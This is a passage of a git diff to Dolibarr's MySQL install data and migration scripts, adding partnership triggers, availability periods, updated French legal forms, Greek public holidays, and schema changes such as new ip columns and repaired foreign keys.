aprouved','holiday',803); +insert into llx_c_action_trigger (code,label,description,elementtype,rang) values ('HOLIDAY_APPROVE','Holiday approved','Executed when a holiday is aprouved','holiday',803); insert into llx_c_action_trigger (code,label,description,elementtype,rang) values ('HOLIDAY_CANCEL','Holiday canceled','Executed when a holiday is canceled','holiday',802); insert into llx_c_action_trigger (code,label,description,elementtype,rang) values ('HOLIDAY_DELETE','Holiday deleted','Executed when a holiday is deleted','holiday',804); @@ -181,3 +181,10 @@ insert into llx_c_action_trigger (code,label,description,elementtype,rang) value insert into llx_c_action_trigger (code,label,description,elementtype,rang) values ('BILLREC_MODIFY','Template invoices update','Executed when a Template invoices is updated','facturerec',901); insert into llx_c_action_trigger (code,label,description,elementtype,rang) values ('BILLREC_DELETE','Template invoices deleted','Executed when a Template invoices is deleted','facturerec',902); insert into llx_c_action_trigger (code,label,description,elementtype,rang) values ('BILLREC_AUTOCREATEBILL','Template invoices use to create invoices with auto batch','Executed when a Template invoices is use to create invoice with auto batch','facturerec',903); + +-- partnership module +insert into llx_c_action_trigger (code,label,description,elementtype,rang) values ('PARTNERSHIP_CREATE','Partnership created','Executed when a partnership is created','partnership',58000); +insert into llx_c_action_trigger (code,label,description,elementtype,rang) values ('PARTNERSHIP_MODIFY','Partnership modified','Executed when a partnership is modified','partnership',58002); +insert into llx_c_action_trigger (code,label,description,elementtype,rang) values ('PARTNERSHIP_SENTBYMAIL','Mails sent from partnership file','Executed when you send email from partnership file','partnership',58004); +insert into llx_c_action_trigger (code,label,description,elementtype,rang) values ('PARTNERSHIP_DELETE','Partnership deleted','Executed when a partnership is deleted','partnership',58006); + diff --git a/htdocs/install/mysql/data/llx_c_actioncomm.sql b/htdocs/install/mysql/data/llx_c_actioncomm.sql index 38f09ba23d0..c244bcae2bd 100644 --- a/htdocs/install/mysql/data/llx_c_actioncomm.sql +++ b/htdocs/install/mysql/data/llx_c_actioncomm.sql @@ -21,7 +21,6 @@ -- You should have received a copy of the GNU General Public License -- along with this program. If not, see . -- --- -- -- Do not put a comment at the end of the line, this file is parsed during the @@ -37,14 +36,6 @@ delete from llx_c_actioncomm where id in (1,2,3,4,5,6,8,9,10,11,30,31,40,50); --- Code used from 3.3+ when type of event is used -insert into llx_c_actioncomm (id, code, libelle, type, module, active, position) values ( 1, 'AC_TEL', 'Phone call', 'system', NULL, 1, 2); -insert into llx_c_actioncomm (id, code, libelle, type, module, active, position) values ( 2, 'AC_FAX', 'Send Fax', 'system', NULL, 1, 3); -insert into llx_c_actioncomm (id, code, libelle, type, module, active, position) values ( 4, 'AC_EMAIL', 'Send Email', 'system', NULL, 1, 4); -insert into llx_c_actioncomm (id, code, libelle, type, module, active, position) values ( 5, 'AC_RDV', 'Rendez-vous', 'system', NULL, 1, 1); -insert into llx_c_actioncomm (id, code, libelle, type, module, active, position) values ( 6, 'AC_EMAIL_IN', 'reception Email', 'system', NULL, 1, 4); -insert into llx_c_actioncomm (id, code, libelle, type, module, active, position) values ( 11, 'AC_INT', 'Intervention on site', 'system', NULL, 1, 4); - -- Code kept for backward compatibility < 3.3 --insert into llx_c_actioncomm (id, code, libelle, type, module, active, position) values ( 3, 'AC_PROP', 'Send commercial proposal by email', 'systemauto', 'propal', 0, 10); --insert into llx_c_actioncomm (id, code, libelle, type, module, active, position) values ( 8, 'AC_COM', 'Send customer order by email', 'systemauto', 'order', 0, 8); @@ -53,10 +44,18 @@ insert into llx_c_actioncomm (id, code, libelle, type, module, active, position) --insert into llx_c_actioncomm (id, code, libelle, type, module, active, position) values ( 30, 'AC_SUP_ORD', 'Send supplier order by email', 'systemauto', 'order_supplier', 0, 9); --insert into llx_c_actioncomm (id, code, libelle, type, module, active, position) values ( 31, 'AC_SUP_INV', 'Send supplier invoice by email', 'systemauto', 'invoice_supplier', 0, 7); +-- Code used from 3.3+ when type of event is used +insert into llx_c_actioncomm (id, code, libelle, type, module, active, position) values ( 1, 'AC_TEL', 'Phone call', 'system', NULL, 1, 2); +insert into llx_c_actioncomm (id, code, libelle, type, module, active, position) values ( 2, 'AC_FAX', 'Send Fax', 'system', NULL, 0, 3); +insert into llx_c_actioncomm (id, code, libelle, type, module, active, position) values ( 4, 'AC_EMAIL', 'Send Email', 'system', NULL, 0, 4); +insert into llx_c_actioncomm (id, code, libelle, type, module, active, position) values ( 5, 'AC_RDV', 'Rendez-vous', 'system', NULL, 1, 1); +insert into llx_c_actioncomm (id, code, libelle, type, module, active, position) values ( 6, 'AC_EMAIL_IN', 'Reception Email', 'system', NULL, 0, 4); +insert into llx_c_actioncomm (id, code, libelle, type, module, active, position) values ( 11, 'AC_INT', 'Intervention on site', 'system', NULL, 1, 4); + -- Code used from 3.3+ when type of event is not used insert into llx_c_actioncomm (id, code, libelle, type, module, active, position) values ( 40, 'AC_OTH_AUTO', 'Other (automatically inserted events)', 'systemauto', NULL, 1, 20); -insert into llx_c_actioncomm (id, code, libelle, type, module, active, position) values ( 50, 'AC_OTH', 'Other (manually inserted events)', 'systemauto', NULL, 1, 5); +insert into llx_c_actioncomm (id, code, libelle, type, module, active, position) values ( 50, 'AC_OTH', 'Other (manually inserted events)', 'system', NULL, 1, 5); INSERT INTO llx_c_actioncomm (id, code, libelle, type, module, active, position) VALUES ( 60, 'AC_EO_ONLINECONF', 'Online/Virtual conference', 'module', 'conference@eventorganization', 1, 60); INSERT INTO llx_c_actioncomm (id, code, libelle, type, module, active, position) VALUES ( 61, 'AC_EO_INDOORCONF', 'Indoor conference', 'module', 'conference@eventorganization', 1, 61); diff --git a/htdocs/install/mysql/data/llx_c_availability.sql b/htdocs/install/mysql/data/llx_c_availability.sql index b98db76b48e..7768477c5d1 100644 --- a/htdocs/install/mysql/data/llx_c_availability.sql +++ b/htdocs/install/mysql/data/llx_c_availability.sql @@ -33,6 +33,11 @@ -- INSERT INTO llx_c_availability (code, label, type_duration, qty, active, position) VALUES ('AV_NOW', 'Immediate', null, 0, 1, 10); +INSERT INTO llx_c_availability (code, label, type_duration, qty, active, position) VALUES ('AV_1D', '1 day', 'd', 1, 1, 11); +INSERT INTO llx_c_availability (code, label, type_duration, qty, active, position) VALUES ('AV_2D', '2 days', 'd', 2, 1, 12); +INSERT INTO llx_c_availability (code, label, type_duration, qty, active, position) VALUES ('AV_3D', '3 days', 'd', 3, 1, 13); +INSERT INTO llx_c_availability (code, label, type_duration, qty, active, position) VALUES ('AV_4D', '4 days', 'd', 4, 1, 14); +INSERT INTO llx_c_availability (code, label, type_duration, qty, active, position) VALUES ('AV_5D', '5 days', 'd', 5, 1, 15); INSERT INTO llx_c_availability (code, label, type_duration, qty, active, position) VALUES ('AV_1W', '1 week', 'w', 1, 1, 20); INSERT INTO llx_c_availability (code, label, type_duration, qty, active, position) VALUES ('AV_2W', '2 weeks', 'w', 2, 1, 30); INSERT INTO llx_c_availability (code, label, type_duration, qty, active, position) VALUES ('AV_3W', '3 weeks', 'w', 3, 1, 40); diff --git a/htdocs/install/mysql/data/llx_c_forme_juridique.sql b/htdocs/install/mysql/data/llx_c_forme_juridique.sql index c35824fa235..93dfa941189 100644 --- a/htdocs/install/mysql/data/llx_c_forme_juridique.sql +++ b/htdocs/install/mysql/data/llx_c_forme_juridique.sql @@ -109,26 +109,18 @@ insert into llx_c_forme_juridique (fk_pays, code, libelle) values (2, '228', 'VO insert into llx_c_forme_juridique (fk_pays, code, libelle) values (2, '229', 'VS0 - Vennootschap met sociaal oogmerk'); --- France: Extrait de https://www.insee.fr/fr/information/2028129 -insert into llx_c_forme_juridique (fk_pays, code, libelle) values (1,'11','Artisan Commerçant (EI)'); -insert into llx_c_forme_juridique (fk_pays, code, libelle) values (1,'12','Commerçant (EI)'); -insert into llx_c_forme_juridique (fk_pays, code, libelle) values (1,'13','Artisan (EI)'); -insert into llx_c_forme_juridique (fk_pays, code, libelle) values (1,'14','Officier public ou ministériel'); -insert into llx_c_forme_juridique (fk_pays, code, libelle) values (1,'15','Profession libérale (EI)'); -insert into llx_c_forme_juridique (fk_pays, code, libelle) values (1,'16','Exploitant agricole'); -insert into llx_c_forme_juridique (fk_pays, code, libelle) values (1,'17','Agent commercial'); -insert into llx_c_forme_juridique (fk_pays, code, libelle) values (1,'18','Associé Gérant de société'); -insert into llx_c_forme_juridique (fk_pays, code, libelle) values (1,'19','Personne physique'); +-- France: Catégories niveau II - Extrait de https://www.insee.fr/fr/information/2028129 - Dernière mise à jour Septembre 2022 +insert into llx_c_forme_juridique (fk_pays, code, libelle) values (1,'00','Organisme de placement collectif en valeurs mobilières sans personnalité morale'); +insert into llx_c_forme_juridique (fk_pays, code, libelle) values (1,'10','Entrepreneur individuel'); insert into llx_c_forme_juridique (fk_pays, code, libelle) values (1,'21','Indivision'); insert into llx_c_forme_juridique (fk_pays, code, libelle) values (1,'22','Société créée de fait'); insert into llx_c_forme_juridique (fk_pays, code, libelle) values (1,'23','Société en participation'); -insert into llx_c_forme_juridique (fk_pays, code, libelle) values (1,'24','Société coopérative d''interet collectif (SCIC)'); -insert into llx_c_forme_juridique (fk_pays, code, libelle) values (1,'25','Société coopérative de production à responsabilité limitée (SCOP)'); +insert into llx_c_forme_juridique (fk_pays, code, libelle) values (1,'24','Fiducie'); insert into llx_c_forme_juridique (fk_pays, code, libelle) values (1,'27','Paroisse hors zone concordataire'); -insert into llx_c_forme_juridique (fk_pays, code, libelle) values (1,'29','Groupement de droit privé non doté de la personnalité morale'); +insert into llx_c_forme_juridique (fk_pays, code, libelle) values (1,'28','Assujetti unique à la TVA'); +insert into llx_c_forme_juridique (fk_pays, code, libelle) values (1,'29','Autre groupement de droit privé non doté de la personnalité morale'); insert into llx_c_forme_juridique (fk_pays, code, libelle) values (1,'31','Personne morale de droit étranger, immatriculée au RCS'); insert into llx_c_forme_juridique (fk_pays, code, libelle) values (1,'32','Personne morale de droit étranger, non immatriculée au RCS'); -insert into llx_c_forme_juridique (fk_pays, code, libelle) values (1,'35','Régime auto-entrepreneur'); insert into llx_c_forme_juridique (fk_pays, code, libelle) values (1,'41','Etablissement public ou régie à caractère industriel ou commercial'); @@ -136,18 +128,16 @@ insert into llx_c_forme_juridique (fk_pays, code, libelle) values (1,'51','Soci insert into llx_c_forme_juridique (fk_pays, code, libelle) values (1,'52','Société en nom collectif'); insert into llx_c_forme_juridique (fk_pays, code, libelle) values (1,'53','Société en commandite'); insert into llx_c_forme_juridique (fk_pays, code, libelle) values (1,'54','Société à responsabilité limitée (SARL)'); -insert into llx_c_forme_juridique (fk_pays, code, libelle) values (1,'55','Société anonyme à conseil d administration'); +insert into llx_c_forme_juridique (fk_pays, code, libelle) values (1,'55','Société anonyme à conseil d''administration'); insert into llx_c_forme_juridique (fk_pays, code, libelle) values (1,'56','Société anonyme à directoire'); insert into llx_c_forme_juridique (fk_pays, code, libelle) values (1,'57','Société par actions simplifiée (SAS)'); -insert into llx_c_forme_juridique (fk_pays, code, libelle) values (1,'58','Entreprise Unipersonnelle à Responsabilité Limitée (EURL)'); -insert into llx_c_forme_juridique (fk_pays, code, libelle) values (1,'59','Société par actions simplifiée unipersonnelle (SASU)'); -insert into llx_c_forme_juridique (fk_pays, code, libelle) values (1,'60','Entreprise Individuelle à Responsabilité Limitée (EIRL)'); +insert into llx_c_forme_juridique (fk_pays, code, libelle) values (1,'58','Société européenne'); insert into llx_c_forme_juridique (fk_pays, code, libelle) values (1,'61','Caisse d''épargne et de prévoyance'); insert into llx_c_forme_juridique (fk_pays, code, libelle) values (1,'62','Groupement d''intérêt économique (GIE)'); insert into llx_c_forme_juridique (fk_pays, code, libelle) values (1,'63','Société coopérative agricole'); -insert into llx_c_forme_juridique (fk_pays, code, libelle) values (1,'64','Société non commerciale d assurances'); +insert into llx_c_forme_juridique (fk_pays, code, libelle) values (1,'64','Société d''assurance mutuelle'); insert into llx_c_forme_juridique (fk_pays, code, libelle) values (1,'65','Société civile'); -insert into llx_c_forme_juridique (fk_pays, code, libelle) values (1,'69','Personnes de droit privé inscrites au RCS'); +insert into llx_c_forme_juridique (fk_pays, code, libelle) values (1,'69','Autre personne morale de droit privé inscrite au RCS'); insert into llx_c_forme_juridique (fk_pays, code, libelle) values (1,'71','Administration de l état'); insert into llx_c_forme_juridique (fk_pays, code, libelle) values (1,'72','Collectivité territoriale'); @@ -163,7 +153,7 @@ insert into llx_c_forme_juridique (fk_pays, code, libelle) values (1,'85','Organ insert into llx_c_forme_juridique (fk_pays, code, libelle) values (1,'91','Syndicat de propriétaires'); insert into llx_c_forme_juridique (fk_pays, code, libelle) values (1,'92','Association loi 1901 ou assimilé'); insert into llx_c_forme_juridique (fk_pays, code, libelle) values (1,'93','Fondation'); -insert into llx_c_forme_juridique (fk_pays, code, libelle) values (1,'99','Personne morale de droit privé'); +insert into llx_c_forme_juridique (fk_pays, code, libelle) values (1,'99','Autre personne morale de droit privé'); -- Germany @@ -332,6 +322,7 @@ INSERT INTO llx_c_forme_juridique (fk_pays, code, libelle, active) VALUES (140, INSERT INTO llx_c_forme_juridique (fk_pays, code, libelle, active) VALUES (140, '14006', 'Société anonyme (SA)', 1); INSERT INTO llx_c_forme_juridique (fk_pays, code, libelle, active) VALUES (140, '14007', 'Société coopérative (SC)', 1); INSERT INTO llx_c_forme_juridique (fk_pays, code, libelle, active) VALUES (140, '14008', 'Société européenne (SE)', 1); +INSERT INTO llx_c_forme_juridique (fk_pays, code, libelle, active) VALUES (140, '14009', 'Société à responsabilité limitée simplifiée (SARL-S)', 1); -- Romania INSERT INTO llx_c_forme_juridique (fk_pays, code, libelle, active) VALUES (188, '18801', 'AFJ - Alte forme juridice', 1); diff --git a/htdocs/install/mysql/data/llx_c_hrm_public_holiday.sql b/htdocs/install/mysql/data/llx_c_hrm_public_holiday.sql index a8e9ac3be80..772a9ad612f 100644 --- a/htdocs/install/mysql/data/llx_c_hrm_public_holiday.sql +++ b/htdocs/install/mysql/data/llx_c_hrm_public_holiday.sql @@ -7,6 +7,8 @@ -- Copyright (C) 2007 Patrick Raguin -- Copyright (C) 2019 Markus Welters -- Copyright (C) 2022 Joachim Kueter +-- Copyright (C) 2022 Nick Fragoulis + -- -- This program is free software; you can redistribute it and/or modify -- it under the terms of the GNU General Public License as published by @@ -104,6 +106,20 @@ INSERT INTO llx_c_hrm_public_holiday (code, entity, fk_country, dayrule, year, m INSERT INTO llx_c_hrm_public_holiday (code, entity, fk_country, dayrule, year, month, day, active) VALUES('AT-SAINTSTEFAN', 0, 41, '', 0, 12, 26, 1); INSERT INTO llx_c_hrm_public_holiday (code, entity, fk_country, dayrule, year, month, day, active) VALUES('AT-Silvester', 0, 41, '', 0, 12, 31, 1); +-- Greece (102) +INSERT INTO llx_c_hrm_public_holiday (code, entity, fk_country, dayrule, year, month, day, active) VALUES('GR-ΠΡΩΤΟΧΡΟΝΙΑ', 0, 102, '', 0, 1, 1, 1); +INSERT INTO llx_c_hrm_public_holiday (code, entity, fk_country, dayrule, year, month, day, active) VALUES('GR-ΘΕΟΦΑΝΕΙΑ', 0, 102, '', 0, 1, 6, 1); +INSERT INTO llx_c_hrm_public_holiday (code, entity, fk_country, dayrule, year, month, day, active) VALUES('GR-25Η ΜΑΡΤΙΟΥ', 0, 102, '', 0, 3, 25, 1); +INSERT INTO llx_c_hrm_public_holiday (code, entity, fk_country, dayrule, year, month, day, active) VALUES('GR-ΠΡΩΤΟΜΑΓΙΑ', 0, 102, '', 0, 5, 1, 1); +INSERT INTO llx_c_hrm_public_holiday (code, entity, fk_country, dayrule, year, month, day, active) VALUES('GR-ΚΑΘΑΡΑ ΔΕΥΤΕΡΑ', 0, 102, 'ΚΑΘΑΡΑ_ΔΕΥΤΕΡΑ', 0, 0, 0, 1); +INSERT INTO llx_c_hrm_public_holiday (code, entity, fk_country, dayrule, year, month, day, active) VALUES('GR-ΜΕΓΑΛΗ ΠΑΡΑΣΚΕΥΗ', 0, 102, 'ΜΕΓΑΛΗ_ΠΑΡΑΣΚΕΥΗ', 0, 0, 0, 1); +INSERT INTO llx_c_hrm_public_holiday (code, entity, fk_country, dayrule, year, month, day, active) VALUES('GR-ΔΕΥΤΕΡΑ ΤΟΥ ΠΑΣΧΑ', 0, 102, 'ΔΕΥΤΕΡΑ_ΤΟΥ_ΠΑΣΧΑ', 0, 0, 0, 1); +INSERT INTO llx_c_hrm_public_holiday (code, entity, fk_country, dayrule, year, month, day, active) VALUES('GR-ΤΟΥ ΑΓΙΟΥ ΠΝΕΥΜΑΤΟΣ', 0, 102, 'ΤΟΥ_ΑΓΙΟΥ_ΠΝΕΥΜΑΤΟΣ', 0, 0, 0, 1); +INSERT INTO llx_c_hrm_public_holiday (code, entity, fk_country, dayrule, year, month, day, active) VALUES('GR-ΚΟΙΜΗΣΗ ΤΗΣ ΘΕΟΤΟΚΟΥ', 0, 102, '', 0, 8, 15, 1); +INSERT INTO llx_c_hrm_public_holiday (code, entity, fk_country, dayrule, year, month, day, active) VALUES('GR-28Η ΟΚΤΩΒΡΙΟΥ', 0, 102, '', 0, 10, 28, 1); +INSERT INTO llx_c_hrm_public_holiday (code, entity, fk_country, dayrule, year, month, day, active) VALUES('GR-ΧΡΙΣΤΟΥΓΕΝΝΑ', 0, 102, '', 0, 12, 25, 1); +INSERT INTO llx_c_hrm_public_holiday (code, entity, fk_country, dayrule, year, month, day, active) VALUES('GR-ΣΥΝΑΞΗ ΘΕΟΤΟΚΟΥ', 0, 102, '', 0, 12, 26, 1); + -- India (117) INSERT INTO llx_c_hrm_public_holiday (code, entity, fk_country, dayrule, year, month, day, active) VALUES('IN-REPUBLICDAY', 0, 117, '', 0, 1, 26, 1); INSERT INTO llx_c_hrm_public_holiday (code, entity, fk_country, dayrule, year, month, day, active) VALUES('IN-GANDI', 0, 117, '', 0, 10, 2, 1); diff --git a/htdocs/install/mysql/data/llx_c_paiement.sql b/htdocs/install/mysql/data/llx_c_paiement.sql index 2e0bd71f389..e46bce24875 100644 --- a/htdocs/install/mysql/data/llx_c_paiement.sql +++ b/htdocs/install/mysql/data/llx_c_paiement.sql @@ -32,8 +32,8 @@ -- Payment modes insert into llx_c_paiement (id,code,libelle,type,active) values ( 1, 'TIP', 'TIP', 2, 0); -insert into llx_c_paiement (id,code,libelle,type,active) values ( 2, 'VIR', 'Transfer', 2, 1); -insert into llx_c_paiement (id,code,libelle,type,active) values ( 3, 'PRE', 'Debit order', 2, 1); +insert into llx_c_paiement (id,code,libelle,type,active) values ( 2, 'VIR', 'Credit Transfer', 2, 1); +insert into llx_c_paiement (id,code,libelle,type,active) values ( 3, 'PRE', 'Direct Debit', 2, 1); insert into llx_c_paiement (id,code,libelle,type,active) values ( 4, 'LIQ', 'Cash', 2, 1); insert into llx_c_paiement (id,code,libelle,type,active) values ( 6, 'CB', 'Credit card', 2, 1); insert into llx_c_paiement (id,code,libelle,type,active) values ( 7, 'CHQ', 'Cheque', 2, 1); diff --git a/htdocs/install/mysql/data/llx_c_socialnetworks.sql b/htdocs/install/mysql/data/llx_c_socialnetworks.sql index 7741f8cdfef..2283832a98f 100644 --- a/htdocs/install/mysql/data/llx_c_socialnetworks.sql +++ b/htdocs/install/mysql/data/llx_c_socialnetworks.sql @@ -56,8 +56,8 @@ INSERT INTO llx_c_socialnetworks (entity, code, label, url, icon, active) VALUES INSERT INTO llx_c_socialnetworks (entity, code, label, url, icon, active) VALUES ( 1, 'vero', 'Vero', 'https://vero.co/{socialid}', '', 0); INSERT INTO llx_c_socialnetworks (entity, code, label, url, icon, active) VALUES ( 1, 'viadeo', 'Viadeo', 'https://fr.viadeo.com/fr/{socialid}', 'fa-viadeo', 0); INSERT INTO llx_c_socialnetworks (entity, code, label, url, icon, active) VALUES ( 1, 'viber', 'Viber', '{socialid}', '', 0); -INSERT INTO llx_c_socialnetworks (entity, code, label, url, icon, active) VALUES ( 1, 'vimeo', 'Vimeo', '{socialid}', '', 0); +INSERT INTO llx_c_socialnetworks (entity, code, label, url, icon, active) VALUES ( 1, 'vimeo', 'Vimeo', '{socialid}', 'fa-vimeo', 0); INSERT INTO llx_c_socialnetworks (entity, code, label, url, icon, active) VALUES ( 1, 'whatsapp', 'Whatsapp', '{socialid}', 'fa-whatsapp', 1); -INSERT INTO llx_c_socialnetworks (entity, code, label, url, icon, active) VALUES ( 1, 'wikipedia', 'Wikipedia', '{socialid}', '', 0); +INSERT INTO llx_c_socialnetworks (entity, code, label, url, icon, active) VALUES ( 1, 'wikipedia', 'Wikipedia', '{socialid}', 'fa-wikipedia-w', 0); INSERT INTO llx_c_socialnetworks (entity, code, label, url, icon, active) VALUES ( 1, 'xing', 'Xing', '{socialid}', 'fa-xing', 0); INSERT INTO llx_c_socialnetworks (entity, code, label, url, icon, active) VALUES ( 1, 'youtube', 'Youtube', 'https://www.youtube.com/{socialid}', 'fa-youtube', 1); diff --git a/htdocs/install/mysql/data/llx_c_tva.sql b/htdocs/install/mysql/data/llx_c_tva.sql index d78fea4ad4d..72cff6afde7 100644 --- a/htdocs/install/mysql/data/llx_c_tva.sql +++ b/htdocs/install/mysql/data/llx_c_tva.sql @@ -137,7 +137,6 @@ insert into llx_c_tva(rowid,fk_pays,taux,code,recuperableonly,localtax1,localtax -- GERMANY (id country=5) insert into llx_c_tva(rowid,fk_pays,taux,recuperableonly,note,active) values ( 51, 5, '0','0','No VAT', 1); insert into llx_c_tva(rowid,fk_pays,taux,recuperableonly,note,active) values ( 52, 5, '7.0','0','ermäßigte USt.', 1); -insert into llx_c_tva(rowid,fk_pays,taux,recuperableonly,note,active) values ( 53, 5, '0.0','0','keine USt.', 1); insert into llx_c_tva(rowid,fk_pays,taux,recuperableonly,note,active) values ( 54, 5, '5.5','0','USt. Forst', 0); insert into llx_c_tva(rowid,fk_pays,taux,recuperableonly,note,active) values ( 55, 5, '10.7','0','USt. Landwirtschaft', 0); insert into llx_c_tva(rowid,fk_pays,taux,recuperableonly,note,active) values ( 56, 5, '19.0','0','allgemeine Ust.',1); @@ -195,7 +194,7 @@ insert into llx_c_tva(rowid,fk_pays,taux,recuperableonly,note,active) values (14 insert into llx_c_tva(rowid,fk_pays,taux,recuperableonly,note,active) values (1402, 140, '14','0','VAT rate - intermediary',1); insert into llx_c_tva(rowid,fk_pays,taux,recuperableonly,note,active) values (1403, 140, '8','0','VAT rate - reduced', 1); insert into llx_c_tva(rowid,fk_pays,taux,recuperableonly,note,active) values (1404, 140, '3','0','VAT rate - super-reduced', 1); -insert into llx_c_tva(rowid,fk_pays,taux,recuperableonly,note,active) values (1405, 140, '17','0','VAT rate - standard',1); +insert into llx_c_tva(rowid,fk_pays,taux,recuperableonly,note,active) values (1405, 140, '16','0','VAT rate - standard',1); -- MALI (id country=147) insert into llx_c_tva(rowid,fk_pays,taux,recuperableonly,note,active) values (1471, 147, '0','0','VAT rate 0', 1); diff --git a/htdocs/install/mysql/data/llx_const.sql b/htdocs/install/mysql/data/llx_const.sql index 61c7336f48b..06463207069 100644 --- a/htdocs/install/mysql/data/llx_const.sql +++ b/htdocs/install/mysql/data/llx_const.sql @@ -35,7 +35,7 @@ insert into llx_const (name, value, type, note, visible, entity) values ('MAIN_NOT_INSTALLED','1','chaine','Setup is running',1,0); insert into llx_const (name, value, type, note, visible, entity) values ('MAIN_FEATURES_LEVEL','0','chaine','Level of features to show: -1=stable+deprecated, 0=stable only (default), 1=stable+experimental, 2=stable+experimental+development',1,0); insert into llx_const (name, value, type, note, visible, entity) values ('MAILING_LIMIT_SENDBYWEB','25','chaine','Number of targets to defined packet size when sending mass email',1,0); -insert into llx_const (name, value, type, note, visible, entity) values ('MAIN_ENABLE_LOG_TO_HTML','0','chaine','If this option is set to 1, it is possible to see log output at end of HTML sources by adding paramater logtohtml=1 on URL. Module log must also be enabled.',1,0); +--insert into llx_const (name, value, type, note, visible, entity) values ('MAIN_ENABLE_LOG_TO_HTML','0','chaine','If this option is set to 1, it is possible to see log output at end of HTML sources by adding paramater logtohtml=1 on URL. Module log must also be enabled.',1,0); -- Hidden and common to all entities insert into llx_const (name, value, type, note, visible, entity) values ('SYSLOG_HANDLERS','["mod_syslog_file"]','chaine','Which logger to use',0,0); diff --git a/htdocs/install/mysql/migration/14.0.0-15.0.0.sql b/htdocs/install/mysql/migration/14.0.0-15.0.0.sql index 7eb3403e3ed..30af80d1f8e 100644 --- a/htdocs/install/mysql/migration/14.0.0-15.0.0.sql +++ b/htdocs/install/mysql/migration/14.0.0-15.0.0.sql @@ -558,3 +558,9 @@ ALTER TABLE llx_element_tag ADD CONSTRAINT fk_element_tag_categorie_rowid FOREIG -- Idea is to update this column manually in v15 with value in currency of company for bank that are not into the main currency and the transfer -- into accounting will use it in priority if value is not null. The script repair.sql contains the sequence to fix datas in llx_bank. ALTER TABLE llx_bank ADD COLUMN amount_main_currency double(24,8) NULL; + +ALTER TABLE llx_commande_fournisseurdet MODIFY COLUMN ref varchar(128); +ALTER TABLE llx_facture_fourn_det MODIFY COLUMN ref varchar(128); + +UPDATE llx_c_tva SET localtax2 = '-19:-15:-9' WHERE localtax2 = '-19' AND localtax2_type = '5' AND fk_pays = 4 AND taux = 21; + diff --git a/htdocs/install/mysql/migration/15.0.0-16.0.0.sql b/htdocs/install/mysql/migration/15.0.0-16.0.0.sql index d5deec862d0..ceff2a32f3c 100644 --- a/htdocs/install/mysql/migration/15.0.0-16.0.0.sql +++ b/htdocs/install/mysql/migration/15.0.0-16.0.0.sql @@ -688,7 +688,7 @@ ALTER TABLE llx_actioncomm MODIFY COLUMN note mediumtext; DELETE FROM llx_boxes WHERE box_id IN (select rowid FROM llx_boxes_def WHERE file IN ('box_bom.php@bom', 'box_bom.php', 'box_members.php', 'box_last_modified_ticket', 'box_members_last_subscriptions', 'box_members_last_modified', 'box_members_subscriptions_by_year')); DELETE FROM llx_boxes_def WHERE file IN ('box_bom.php@bom', 'box_bom.php', 'box_members.php', 'box_last_modified_ticket', 'box_members_last_subscriptions', 'box_members_last_modified', 'box_members_subscriptions_by_year'); -ALTER TABLE llx_takepos_floor_tables ADD UNIQUE(entity,label); +ALTER TABLE llx_takepos_floor_tables ADD UNIQUE INDEX uk_takepos_floor_tables (entity,label); ALTER TABLE llx_partnership ADD COLUMN url_to_check varchar(255); ALTER TABLE llx_c_partnership_type ADD COLUMN keyword varchar(128); diff --git a/htdocs/install/mysql/migration/16.0.0-17.0.0.sql b/htdocs/install/mysql/migration/16.0.0-17.0.0.sql index bef3e07e910..20a9d7b097f 100644 --- a/htdocs/install/mysql/migration/16.0.0-17.0.0.sql +++ b/htdocs/install/mysql/migration/16.0.0-17.0.0.sql @@ -33,8 +33,9 @@ -- Missing in v16 or lower - +ALTER TABLE llx_accounting_account DROP FOREIGN KEY fk_accounting_account_fk_pcg_version; ALTER TABLE llx_accounting_system MODIFY COLUMN pcg_version varchar(32) NOT NULL; +ALTER TABLE llx_accounting_account ADD CONSTRAINT fk_accounting_account_fk_pcg_version FOREIGN KEY (fk_pcg_version) REFERENCES llx_accounting_system (pcg_version); ALTER TABLE llx_c_action_trigger MODIFY elementtype VARCHAR(64); @@ -52,16 +53,29 @@ ALTER TABLE llx_user DROP COLUMN idpers1; ALTER TABLE llx_user DROP COLUMN idpers2; ALTER TABLE llx_user DROP COLUMN idpers3; +UPDATE llx_c_actioncomm SET type = 'system' WHERE code = 'AC_OTH'; + +ALTER TABLE llx_opensurvey_user_studs MODIFY reponses VARCHAR(200) NOT NULL; -- v17 +ALTER TABLE llx_mailing_cibles MODIFY COLUMN source_type varchar(32); + +ALTER TABLE llx_actioncomm ADD INDEX idx_actioncomm_percent (percent); + UPDATE llx_c_paiement SET code = 'BANCON' WHERE code = 'BAN' AND libelle = 'Bancontact'; +ALTER TABLE llx_partnership DROP FOREIGN KEY llx_partnership_fk_user_creat; -- VMYSQL4.3 ALTER TABLE llx_partnership MODIFY COLUMN fk_user_creat integer NULL; -- VPGSQL8.2 ALTER TABLE llx_partnership ALTER COLUMN fk_user_creat DROP NOT NULL; ALTER TABLE llx_partnership ADD COLUMN ip varchar(250); ALTER TABLE llx_adherent ADD COLUMN ip varchar(250); +ALTER TABLE llx_projet ADD COLUMN ip varchar(250); +ALTER TABLE llx_actioncomm ADD COLUMN ip varchar(250); +ALTER TABLE llx_eventorganization_conferenceorboothattendee ADD COLUMN ip varchar(250); +ALTER TABLE llx_opensurvey_user_studs ADD COLUMN ip varchar(250); +ALTER TABLE llx_opensurvey_comments ADD COLUMN ip varchar(250); ALTER TABLE llx_fichinterdet_rec DROP COLUMN remise; ALTER TABLE llx_fichinterdet_rec DROP COLUMN fk_export_commpta; @@ -81,8 +95,6 @@ UPDATE llx_holiday SET fk_user_approve = fk_user_valid WHERE statut = 3 AND fk_u ALTER TABLE llx_inventory ADD COLUMN categories_product VARCHAR(255) DEFAULT NULL AFTER fk_product; -ALTER TABLE llx_ticket ADD COLUMN ip varchar(250); - ALTER TABLE llx_societe ADD last_main_doc VARCHAR(255) NULL AFTER model_pdf; ALTER TABLE llx_emailcollector_emailcollector MODIFY COLUMN lastresult text; @@ -110,12 +122,12 @@ ALTER TABLE llx_product ADD COLUMN sell_or_eat_by_mandatory tinyint DEFAULT 0 NO ALTER TABLE llx_recruitment_recruitmentcandidature ADD email_date datetime after email_msgid; -ALTER TABLE llx_societe ADD last_main_doc VARCHAR(255) NULL AFTER model_pdf; - ALTER TABLE llx_ticket ADD COLUMN ip varchar(250); ALTER TABLE llx_ticket ADD email_date datetime after email_msgid; +ALTER TABLE llx_ticket MODIFY COLUMN message mediumtext; + ALTER TABLE llx_cronjob ADD COLUMN pid integer; INSERT INTO llx_c_hrm_public_holiday (code, entity, fk_country, dayrule, year, month, day, active) VALUES('BE-VICTORYDAY', 0, 2, '', 0, 5, 8, 1); @@ -131,6 +143,9 @@ ALTER TABLE llx_societe_rib ADD COLUMN state_id integer 